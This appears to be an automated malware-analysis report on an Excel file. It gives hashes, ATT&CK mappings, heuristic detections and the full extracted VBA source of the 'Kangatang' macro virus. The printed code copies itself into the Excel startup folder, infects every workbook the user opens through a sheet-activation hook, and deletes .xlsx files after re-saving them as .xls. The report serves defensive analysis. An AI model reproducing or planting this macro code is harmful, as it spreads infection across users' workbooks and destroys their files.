Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 903145ea8b6cfdf9…

MALICIOUS

Office (OLE) / .XLS

50.0 KB Created: 2017-08-25 06:56:52 Authoring application: Microsoft Excel First seen: 2026-06-24
MD5: 5179208db0e2728aaafe9d0f1e703a4c SHA-1: d89a6ef4bab6833c99e60b5d6876d446bc97ab84 SHA-256: 903145ea8b6cfdf92cfeecbdff98d96a790ec674f29482c6738df0c2b28445f5
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1553.005 Mark-of-the-Web Bypass

The VBA macros in this Excel file are designed to achieve persistence. The Auto_Open macro copies the workbook to the Excel XLSTART startup folder as 'mypersonnel.xls' and also sets up an Application.OnSheetActivate hook. This hook is intended to infect other workbooks by copying the 'Kangatang' sheet into them, facilitating further spread.

Heuristics 6

  • ClamAV: Xls.Malware.ExcelSic-10004731-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.ExcelSic-10004731-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Auto_Close()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1510 bytes
SHA-256: d49b3eed57ea333340314eacd5bf3454f6a2ba3085f3bfa723034dd1a2d97cfb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
 
 
 End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.